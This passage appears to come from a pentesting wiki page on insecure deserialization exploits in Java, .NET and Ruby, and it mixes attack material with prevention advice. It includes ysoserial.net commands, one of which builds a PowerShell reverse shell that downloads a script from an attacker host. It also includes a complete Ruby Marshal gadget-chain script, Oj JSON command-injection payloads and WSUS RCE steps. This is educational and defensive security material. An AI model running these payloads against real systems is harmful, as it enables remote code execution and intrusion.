+ payload + ' "' + final + '"') 608 result = command.read() 609 command.close() 610 encoded = base64.b64encode(result) 611 if encoded != "": 612 open(name + '_intruder.txt', 'a').write(encoded + '\n') 613 614 generate('Windows', 'ping -n 1 win.REPLACE.server.local') 615 generate('Linux', 'ping -c 1 nix.REPLACE.server.local') 616 ``` 617 618 #### serialkillerbypassgadgets 619 620 You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)<sup>[[51]](#references)</sup> 621 622 #### marshalsec 623 624 [**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.<sup>[[18]](#references)</sup>\ 625 In order to compile the project I needed to **add** this **dependencies** to `pom.xml`: 626 627 ```html 628 <dependency> 629 <groupId>javax.activation</groupId> 630 <artifactId>activation</artifactId> 631 <version>1.1.1</version> 632 </dependency> 633 634 <dependency> 635 <groupId>com.sun.jndi</groupId> 636 <artifactId>rmiregistry</artifactId> 637 <version>1.2.1</version> 638 <type>pom</type> 639 </dependency> 640 ``` 641 642 **Install maven**, and **compile** the project: 643 644 ```bash 645 sudo apt-get install maven 646 mvn clean package -DskipTests 647 ``` 648 649 #### FastJSON 650 651 Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)<sup>[[52]](#references)</sup> 652 653 ### Labs 654 655 - If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp) 656 - [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)<sup>[[19]](#references)</sup><sup>[[20]](#references)</sup><sup>[[21]](#references)</sup><sup>[[22]](#references)</sup> 657 658 ### Why 659 660 Java uses a lot serialization for various purposes like: 661 662 - **HTTP requests**: Serialization is widely employed in the management of parameters, ViewState, cookies, etc. 663 - **RMI (Remote Method Invocation)**: The Java RMI protocol, which relies entirely on serialization, is a cornerstone for remote communication in Java applications. 664 - **RMI over HTTP**: This method is commonly used by Java-based thick client web applications, utilizing serialization for all object communications. 665 - **JMX (Java Management Extensions)**: JMX utilizes serialization for transmitting objects over the network. 666 - **Custom Protocols**: In Java, the standard practice involves the transmission of raw Java objects, which will be demonstrated in upcoming exploit examples. 667 668 ### Java Deserialization Prevention 669 670 #### Transient objects 671 672 A class that implements `Serializable` can implement as `transient` any object inside the class that shouldn't be serializable. For example: 673 674 ```java 675 public class myAccount implements Serializable 676 { 677 private transient double profit; // declared transient 678 private transient double margin; // declared transient 679 ``` 680 681 #### Avoid Serialization of a class that need to implements Serializable 682 683 In scenarios where certain **objects must implement the `Serializable`** interface due to class hierarchy, there's a risk of unintentional deserialization. To prevent this, ensure these objects are non-deserializable by defining a `final` `readObject()` method that consistently throws an exception, as shown below: 684 685 ```java 686 private final void readObject(ObjectInputStream in) throws java.io.IOException { 687 throw new java.io.IOException("Cannot be deserialized"); 688 } 689 ``` 690 691 #### **Enhancing Deserialization Security in Java** 692 693 **Customizing `java.io.ObjectInputStream`** is a practical approach for securing deserialization processes. This method is suitable when: 694 695 - The deserialization code is under your control. 696 - The classes expected for deserialization are known. 697 698 Override the **`resolveClass()`** method to limit deserialization to allowed classes only. This prevents deserialization of any class except those explicitly permitted, such as in the following example that restricts deserialization to the `Bicycle` class only: 699 700 ```java 701 // Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html 702 public class LookAheadObjectInputStream extends ObjectInputStream { 703 704 public LookAheadObjectInputStream(InputStream inputStream) throws IOException { 705 super(inputStream); 706 } 707 708 /** 709 * Only deserialize instances of our expected Bicycle class 710 */ 711 @Override 712 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { 713 if (!desc.getName().equals(Bicycle.class.getName())) { 714 throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName()); 715 } 716 return super.resolveClass(desc); 717 } 718 } 719 ``` 720 721 **Using a Java Agent for Security Enhancement** offers a fallback solution when code modification isn't possible. This method applies mainly for **blacklisting harmful classes**, using a JVM parameter: 722 723 ```text 724 -javaagent:name-of-agent.jar 725 ``` 726 727 It provides a way to secure deserialization dynamically, ideal for environments where immediate code changes are impractical. 728 729 Check and example in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0) 730 731 **Implementing Serialization Filters**: Java 9 introduced serialization filters via the **`ObjectInputFilter`** interface, providing a powerful mechanism for specifying criteria that serialized objects must meet before being deserialized. These filters can be applied globally or per stream, offering a granular control over the deserialization process. 732 733 To utilize serialization filters, you can set a global filter that applies to all deserialization operations or configure it dynamically for specific streams. For example: 734 735 ```java 736 ObjectInputFilter filter = info -> { 737 if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth 738 if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references 739 if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) { 740 return Status.REJECTED; // Restrict to allowed classes 741 } 742 return Status.ALLOWED; 743 }; 744 ObjectInputFilter.Config.setSerialFilter(filter); 745 ``` 746 747 **Leveraging External Libraries for Enhanced Security**: Libraries such as **NotSoSerial**, **jdeserialize**, and **Kryo** offer advanced features for controlling and monitoring Java deserialization. These libraries can provide additional layers of security, such as whitelisting or blacklisting classes, analyzing serialized objects before deserialization, and implementing custom serialization strategies. 748 749 - **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code. 750 - **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content. 751 - **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.<sup>[[24]](#references)</sup> 752 753 ## JNDI Injection & log4Shell 754 755 Find whats is **JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell** (and example of this vuln) in the following page: 756 757 758 [Jndi Java Naming And Directory Interface And Log4Shell](/hacktricks/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell) 759 760 ## JMS - Java Message Service 761 762 > The **Java Message Service** (**JMS**) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)). 763 764 ### Products 765 766 There are several products using this middleware to send messages:<sup>[[25]](#references)</sup> 767 768 <sup>[[25]](#references)</sup> 769 770 <sup>[[25]](#references)</sup> 771 772 ### Exploitation 773 774 So, basically there are a **bunch of services using JMS on a dangerous way**. Therefore, if you have **enough privileges** to send messages to this services (usually you will need valid credentials) you could be able to send **malicious objects serialized that will be deserialized by the consumer/subscriber**.\ 775 This means that in this exploitation all the **clients that are going to use that message will get infected**. 776 777 You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability. 778 779 The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.<sup>[[26]](#references)</sup> 780 781 ## .Net 782 783 In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.<sup>[[27]](#references)</sup><sup>[[28]](#references)</sup> 784 785 ### Fingerprint 786 787 #### WhiteBox 788 789 The source code should be inspected for occurrences of: 790 791 1. `TypeNameHandling` 792 2. `JavaScriptTypeResolver` 793 794 The focus should be on serializers that permit the type to be determined by a variable under user control. 795 796 #### BlackBox 797 798 The search should target the Base64 encoded string **AAEAAAD/////** or any similar pattern that might undergo deserialization on the server-side, granting control over the type to be deserialized. This could include, but is not limited to, **JSON** or **XML** structures featuring `TypeObject` or `$type`. 799 800 ### ysoserial.net 801 802 In this case you can use the tool [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) in order to **create the deserialization exploits**. Once downloaded the git repository you should **compile the tool** using Visual Studio for example. 803 804 If you want to learn about **how does ysoserial.net creates it's exploit** you can [**check this page where is explained the ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](/hacktricks/pentesting-web/deserialization/basic-net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json-net). 805 806 The main options of **ysoserial.net** are: **`--gadget`**, **`--formatter`**, **`--output`** and **`--plugin`.** 807 808 - **`--gadget`** used to indicate the gadget to abuse (indicate the class/function that will be abused during deserialization to execute commands). 809 - **`--formatter`**, used to indicated the method to serialized the exploit (you need to know which library is using the back-end to deserialize the payload and use the same to serialize it) 810 - **`--output`** used to indicate if you want the exploit in **raw** or **base64** encoded. _Note that **ysoserial.net** will **encode** the payload using **UTF-16LE** (encoding used by default on Windows) so if you get the raw and just encode it from a linux console you might have some **encoding compatibility problems** that will prevent the exploit from working properly (in HTB JSON box the payload worked in both UTF-16LE and ASCII but this doesn't mean it will always work)._ 811 - **`--plugin`** ysoserial.net supports plugins to craft **exploits for specific frameworks** like ViewState 812 813 #### More ysoserial.net parameters 814 815 - `--minify` will provide a **smaller payload** (if possible) 816 - `--raf -f Json.Net -c "anything"` This will indicate all the gadgets that can be used with a provided formatter (`Json.Net` in this case) 817 - `--sf xml` you can **indicate a gadget** (`-g`)and ysoserial.net will search for formatters containing "xml" (case insensitive) 818 819 **ysoserial examples** to create exploits: 820 821 ```bash 822 #Send ping 823 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64 824 825 #Timing 826 #I tried using ping and timeout but there wasn't any difference in the response timing from the web server 827 828 #DNS/HTTP request 829 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64 830 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64 831 832 #Reverse shell 833 #Create shell command in linux 834 echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0 835 #Create exploit using the created B64 shellcode 836 ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64 837 ``` 838 839 **ysoserial.net** has also a **very interesting parameter** that helps to understand better how every exploit works: `--test`\ 840 If you indicates this parameter **ysoserial.net** will **try** the **exploit locally,** so you can test if your payload will work correctly.\ 841 This parameter is helpful because if you review the code you will find chucks of code like the following one (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)): 842 843 ```java 844 if (inputArgs.Test) 845 { 846 try 847 { 848 SerializersHelper.JsonNet_deserialize(payload); 849 } 850 catch (Exception err) 851 { 852 Debugging.ShowErrors(inputArgs, err); 853 } 854 } 855 ``` 856 857 This means that in order to test the exploit the code will call [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) 858 859 ```java 860 public static object JsonNet_deserialize(string str) 861 { 862 Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings 863 { 864 TypeNameHandling = TypeNameHandling.Auto 865 }); 866 return obj; 867 } 868 ``` 869 870 In the **previous code is vulnerable to the exploit created**. So if you find something similar in a .Net application it means that probably that application is vulnerable too.\ 871 Therefore the **`--test`** parameter allows us to understand **which chunks of code are vulnerable** to the desrialization exploit that **ysoserial.net** can create. 872 873 ### ViewState 874 875 Take a look to [this POST about **how to try to exploit the \_\_ViewState parameter of .Net** ](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-parameter)to **execute arbitrary code.** If you **already know the secrets** used by the victim machine, [**read this post to know to execute code**](/hacktricks/pentesting-web/deserialization/exploiting-viewstate-knowing-the-secret)**.** 876 877 ### Real‑world sink: WSUS AuthorizationCookie & Reporting SOAP → BinaryFormatter/SoapFormatter RCE 878 879 - Affected endpoints: 880 - `/SimpleAuthWebService/SimpleAuth.asmx` → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter. 881 - `/ReportingWebService.asmx` → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event. 882 - Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).<sup>[[29]](#references)</sup> 883 884 Minimal exploitation (Reporting path): 885 1) Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example: 886 887 ```powershell 888 # Reverse shell (EncodedCommand) via BinaryFormatter 889 ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base64 -c "powershell -NoP -W Hidden -Enc <BASE64_PS>" 890 891 # Simple calc via SoapFormatter (test) 892 ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe" 893 ``` 894 895 2) Craft SOAP for `ReportEventBatch` embedding the base64 gadget and POST it to `/ReportingWebService.asmx`. 896 3) When an admin opens the WSUS console, the event is deserialized and the gadget fires (RCE as SYSTEM). 897 898 AuthorizationCookie / GetCookie() 899 - A forged AuthorizationCookie can be accepted, decrypted, and passed to a BinaryFormatter sink, enabling pre‑auth RCE if reachable. 900 901 Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:<sup>[[30]](#references)</sup> 902 903 ```powershell 904 $lhost = "192.168.49.51" 905 $lport = 53 906 $targetURL = "http://192.168.51.89:8530" 907 ``` 908 909 See [Windows Local Privilege Escalation – WSUS](/hacktricks/windows-hardening/windows-local-privilege-escalation/overview) 910 911 ### .NET Deserialization Prevention 912 913 To mitigate the risks associated with deserialization in .Net:<sup>[[23]](#references)</sup> 914 915 - **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.<sup>[[41]](#references)</sup> 916 - **For `JSON.Net`, set `TypeNameHandling` to `None`:** `TypeNameHandling = TypeNameHandling.None` 917 - **Avoid using `JavaScriptSerializer` with a `JavaScriptTypeResolver`.** 918 - **Limit the types that can be deserialized**, understanding the inherent risks with .Net types, such as `System.IO.FileInfo`, which can modify server files' properties, potentially leading to denial of service attacks. 919 - **Be cautious with types having risky properties**, like `System.ComponentModel.DataAnnotations.ValidationException` with its `Value` property, which can be exploited. 920 - **Securely control type instantiation** to prevent attackers from influencing the deserialization process, rendering even `DataContractSerializer` or `XmlSerializer` vulnerable. 921 - **Implement white list controls** using a custom `SerializationBinder` for `BinaryFormatter` and `JSON.Net`. 922 - **Stay informed about known insecure deserialization gadgets** within .Net and ensure deserializers do not instantiate such types. 923 - **Isolate potentially risky code** from code with internet access to avoid exposing known gadgets, such as `System.Windows.Data.ObjectDataProvider` in WPF applications, to untrusted data sources. 924 925 ## **Ruby** 926 927 In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization. 928 929 For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:<sup>[[43]](#references)</sup> 930 931 - `config/environment.rb` 932 - `config/initializers/secret_token.rb` 933 - `config/secrets.yml` 934 - `/proc/self/environ` 935 936 **Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:<sup>[[36]](#references)</sup> 937 938 ```ruby 939 #!/usr/bin/env ruby 940 941 # Code from https://www.elttam.com/blog/ruby-deserialization/ 942 943 class Gem::StubSpecification 944 def initialize; end 945 end 946 947 948 stub_specification = Gem::StubSpecification.new 949 stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2" 950 951 puts "STEP n" 952 stub_specification.name rescue nil 953 puts 954 955 956 class Gem::Source::SpecificFile 957 def initialize; end 958 end 959 960 specific_file = Gem::Source::SpecificFile.new 961 specific_file.instance_variable_set(:@spec, stub_specification) 962 963 other_specific_file = Gem::Source::SpecificFile.new 964 965 puts "STEP n-1" 966 specific_file <=> other_specific_file rescue nil 967 puts 968 969 970 $dependency_list= Gem::DependencyList.new 971 $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) 972 973 puts "STEP n-2" 974 $dependency_list.each{} rescue nil 975 puts 976 977 978 class Gem::Requirement 979 def marshal_dump 980 [$dependency_list] 981 end 982 end 983 984 payload = Marshal.dump(Gem::Requirement.new) 985 986 puts "STEP n-3" 987 Marshal.load(payload) rescue nil 988 puts 989 990 991 puts "VALIDATION (in fresh ruby process):" 992 IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| 993 pipe.print payload 994 pipe.close_write 995 puts pipe.gets 996 puts 997 end 998 999 puts "Payload (hex):" 1000 puts payload.unpack('H*')[0] 1001 puts 1002 1003 1004 require "base64" 1005 puts "Payload (Base64 encoded):" 1006 puts Base64.encode64(payload) 1007 ``` 1008 1009 Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)<sup>[[31]](#references)</sup> 1010 1011 ### Ruby .send() method 1012 1013 As explained in [**this archived vulnerability report**](https://web.archive.org/web/20260000000000id_/https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if unsanitized user input reaches the `.send()` method of a Ruby object, the method can **invoke another method** of that object with attacker-controlled arguments.<sup>[[32]](#references)</sup> 1014 1015 For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code: 1016 1017 ```ruby 1018 <Object>.send('eval', '<user input with Ruby code>') == RCE 1019 ``` 1020 1021 Moreover, if only one parameter of **`.send()`** is controlled by an attacker, as mentioned in the previous writeup, it's possible to call any method of the object that **doesn't need arguments** or whose arguments have **default values**.\ 1022 For this, it's possible to enumerate all the methods of the object to **find some interesting methods that fulfil those requirements**. 1023 1024 ```ruby 1025 <Object>.send('<user_input>') 1026 1027 # This code is taken from the original blog post 1028 # <Object> in this case is Repository 1029 ## Find methods with those requirements 1030 repo = Repository.find(1) # get first repo 1031 repo_methods = [ # get names of all methods accessible by Repository object 1032 repo.public_methods(), 1033 repo.private_methods(), 1034 repo.protected_methods(), 1035 ].flatten() 1036 1037 repo_methods.length() # Initial number of methods => 5542 1038 1039 ## Filter by the arguments requirements 1040 candidate_methods = repo_methods.select() do |method_name| 1041 [0, -1].include?(repo.method(method_name).arity()) 1042 end 1043 candidate_methods.length() # Final number of methods=> 3595 1044 ``` 1045 1046 ### Ruby class pollution 1047 1048 Check how it could be possible to [pollute a Ruby class and abuse it in here](/hacktricks/pentesting-web/deserialization/ruby-class-pollution). 1049 1050 ### Ruby _json pollution 1051 1052 When sending in a body some values not hashabled like an array they will be added into a new key called `_json`. However, It’s possible for an attacker to also set in the body a value called `_json` with the arbitrary values he wishes. Then, If the backend for example checks the veracity of a parameter but then also uses the `_json` parameter to perform some action, an authorisation bypass could be performed. 1053 1054 Check more information in the [Ruby _json pollution page](/hacktricks/pentesting-web/deserialization/ruby-json-pollution). 1055 1056 ### Other libraries 1057 1058 This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).<sup>[[33]](#references)</sup> 1059 1060 There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically): 1061 1062 <table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table> 1063 1064 Basic example: 1065 1066 ```ruby 1067 # Existing Ruby class inside the code of the app 1068 class SimpleClass 1069 def initialize(cmd) 1070 @cmd = cmd 1071 end 1072 1073 def hash 1074 system(@cmd) 1075 end 1076 end 1077 1078 # Exploit 1079 require 'oj' 1080 simple = SimpleClass.new("open -a calculator") # command for macOS 1081 json_payload = Oj.dump(simple) 1082 puts json_payload 1083 1084 # Sink vulnerable inside the code accepting user input as json_payload 1085 Oj.load(json_payload) 1086 ``` 1087 1088 In the case of trying to abuse Oj, it was possible to find a gadget class that inside its `hash` function will call `to_s`, which will call spec, which will call fetch_path which was possible to make it fetch a random URL, giving a great detector of these kind of unsanitized deserialization vulnerabilities. 1089 1090 ```json 1091 { 1092 "^o": "URI::HTTP", 1093 "scheme": "s3", 1094 "host": "example.org/anyurl?", 1095 "port": "anyport", 1096 "path": "/", 1097 "user": "anyuser", 1098 "password": "anypw" 1099 } 1100 ``` 1101 1102 Moreover, it was found that with the previous technique a folder is also created in the system, which is a requirement to abuse another gadget in order to transform this into a complete RCE with something like: 1103 1104 ```json 1105 { 1106 "^o": "Gem::Resolver::SpecSpecification", 1107 "spec": { 1108 "^o": "Gem::Resolver::GitSpecification", 1109 "source": { 1110 "^o": "Gem::Source::Git", 1111 "git": "zip", 1112 "reference": "-TmTT=\"$(id>/tmp/anyexec)\"", 1113 "root_dir": "/tmp", 1114 "repository": "anyrepo", 1115 "name": "anyname" 1116 }, 1117 "spec": { 1118 "^o": "Gem::Resolver::Specification", 1119 "name": "name", 1120 "dependencies": [] 1121 } 1122 } 1123 } 1124 ``` 1125 1126 Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).<sup>[[33]](#references)</sup> 1127 1128 ### Bootstrap Caching 1129 1130 This is not strictly a deserialization vulnerability, but it is a useful technique for abusing Bootsnap caching to turn an arbitrary file write in a Rails application into RCE. See the [original post](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) for the complete research.<sup>[[34]](#references)</sup> 1131 1132 Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching: 1133 1134 - Identify the Vulnerability and Environment 1135 1136 The Rails app’s file upload functionality lets an attacker write files arbitrarily. Although the app runs with restrictions (only certain directories like tmp are writable due to Docker’s non-root user), this still allows writing to the Bootsnap cache directory (typically under tmp/cache/bootsnap). 1137 1138 - Understand Bootsnap’s Cache Mechanism 1139 1140 Bootsnap speeds up Rails boot times by caching compiled Ruby code, YAML, and JSON files. It stores cache files that include a cache key header (with fields like Ruby version, file size, mtime, compile options, etc.) followed by the compiled code. This header is used to validate the cache during app startup. 1141 1142 - Gather File Metadata 1143 1144 The attacker first selects a target file that is likely loaded during Rails startup (for example, set.rb from Ruby’s standard library). By executing Ruby code inside the container, they extract critical metadata (such as RUBY_VERSION, RUBY_REVISION, size, mtime, and compile_option). This data is essential for crafting a valid cache key. 1145 1146 - Compute the Cache File Path 1147 1148 By replicating Bootsnap’s FNV-1a 64-bit hash mechanism, the correct cache file path is determined. This step ensures that the malicious cache file is placed exactly where Bootsnap expects it (e.g., under tmp/cache/bootsnap/compile-cache-iseq/). 1149 1150 - Craft the Malicious Cache File 1151 1152 The attacker prepares a payload that: 1153 1154 - Executes arbitrary commands (for example, running id to show process info). 1155 - Removes the malicious cache after execution to prevent recursive exploitation. 1156 - Loads the original file (e.g., set.rb) to avoid crashing the application. 1157 1158 This payload is compiled into binary Ruby code and concatenated with a carefully constructed cache key header (using the previously gathered metadata and the correct version number for Bootsnap). 1159 1160 - Overwrite and Trigger Execution 1161 Using the arbitrary file write vulnerability, the attacker writes the crafted cache file to the computed location. Next, they trigger a server restart (by writing to tmp/restart.txt, which is monitored by Puma). During restart, when Rails requires the targeted file, the malicious cache file is loaded, resulting in remote code execution (RCE). 1162 1163 1164 ### Ruby Marshal exploitation in practice (updated) 1165 1166 Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.<sup>[[35]](#references)</sup> 1167 1168 1169 #### Ruby 3.3–4.0 universal RubyGems chain 1170 1171 A dependency-free chain demonstrated on Ruby `4.0.6` (and reported to work unchanged on `3.3` through `4.0.6`) uses RubyGems code shipped with Ruby. The exact chain needs outbound HTTPS access and a writable destination such as `/tmp`; command execution has the Ruby process privileges and is **not** a local privilege escalation.<sup>[[53]](#references)</sup> 1172 1173 The serialized graph is ordered so that the download/write side effect completes before a later `Hash`-key callback evaluates the downloaded Ruby source:<sup>[[53]](#references)</sup> 1174 1175 1. Resolving `Gem::SpecFetcher` near the start of `Marshal.load` activates RubyGems autoloading and makes later gadget classes available even in a bare process. 1176 2. A forged `Time` stores a `Gem::URI::Generic` object as its zone. During `Time._load`, `StringValueCStr` calls `to_str`; `Gem::URI::Generic#to_str` aliases `to_s`, which calls `@port.to_s` on an embedded `Gem::RequestSet::Lockfile` downloader. 1177 3. The downloader uses an `s3` URI to reach signing code that emits an HTTPS URL. Traversal components placed in the URI's attacker-controlled port-derived path escape the RubyGems cache, while `Gem::Util.inflate` converts the remote `.rz` response into `/tmp/quick/Marshal.4.8/name-.gemspec`. 1178 4. RubyGems then tries to parse that source file as serialized specification data and raises. This is useful because the file write already happened, and `time_mload` validates the zone inside `rb_rescue`, suppressing the post-write exception so graph reconstruction continues. 1179 5. A `Gem::StubSpecification` with `@loaded_from` set to the written path is restored as a `Hash` key. Hash reconstruction invokes its `hash` method, which reaches `Gem::Specification.load(@loaded_from)`; that method reads the file and evaluates it as Ruby. 1180 1181 The hosted response must be a deflated Ruby program. Make its last expression a valid `Gem::Specification` so the subsequent `name`, `version`, and `platform` accesses succeed and `Marshal.load` can return without the otherwise expected warning/exception:<sup>[[53]](#references)</sup> 1182 1183 ```bash 1184 cat > payload.rb <<'RUBY' 1185 puts `id` 1186 Gem::Specification.new do |s| 1187 s.name = "poc" 1188 s.version = "1.0.0" 1189 end 1190 RUBY 1191 ruby -rrubygems -e 'File.binwrite("poc-id.rz", Gem.deflate(File.binread("payload.rb")))' 1192 ``` 1193 1194 `Marshal.dump` cannot normally produce a `Time` with an arbitrary object as its zone because `Time#_dump` serializes native state. The generator therefore dumps a placeholder object and replaces its bytes with a `TYPE_USERDEF` (`u`) `Time` entry wrapped by `TYPE_IVAR` (`I`), leaving the already serialized zone gadget after it. Keep the same number and order of symbol definitions on both sides of the replacement because later `TYPE_SYMLINK` entries are positional. Also stub `Gem::StubSpecification#hash` while building the generator-side `Hash`; otherwise the key gadget fires before serialization.<sup>[[53]](#references)</sup> 1195 1196 This chain also shows why partially broken gadgets should be retested rather than discarded: RubyGems type checking removed the older `Gem::Version` `to_s` wrapper, and moving Git executable names out of attacker-restorable instance variables removed the older execution sink, but the surviving fetch/write primitive was reusable behind new trigger and evaluation gadgets.<sup>[[53]](#references)</sup> 1197 1198 Specific hunting indicators include Marshal blobs naming `Gem::SpecFetcher`, `Time`, `Gem::URI::Generic`, `Gem::RequestSet::Lockfile`, and `Gem::StubSpecification`; HTTPS egress during deserialization; unexpected files below `/tmp/quick/Marshal.4.8/`; or stack traces containing `Time._load`, `Gem::StubSpecification#hash`, and `Gem::Specification.load`.<sup>[[53]](#references)</sup> 1199 1200 `Gem::SafeMarshal` was introduced to deserialize a restricted set of RubyGems objects, but the exact version still matters. Research against the Ruby 3.4 prerelease implementation showed that allowlisted `Date` and `Time` object paths could escape the restrictions and re-enter unrestricted `Marshal.load`; consequently, `SafeMarshal` is defense in depth, not a substitute for preventing attacker-controlled bytes from reaching a deserializer.<sup>[[47]](#references)</sup><sup>[[48]](#references)</sup> The RubyGems 3.6.2 integration was merged into Ruby immediately before the Ruby 3.4 final release.<sup>[[49]](#references)</sup> 1201 1202 1203 - Minimal vulnerable Rails code path:<sup>[[44]](#references)</sup> 1204 1205 1206 ```ruby 1207 class UserRestoreController < ApplicationController 1208 def show 1209 user_data = params[:data] 1210 if user_data.present? 1211 deserialized_user = 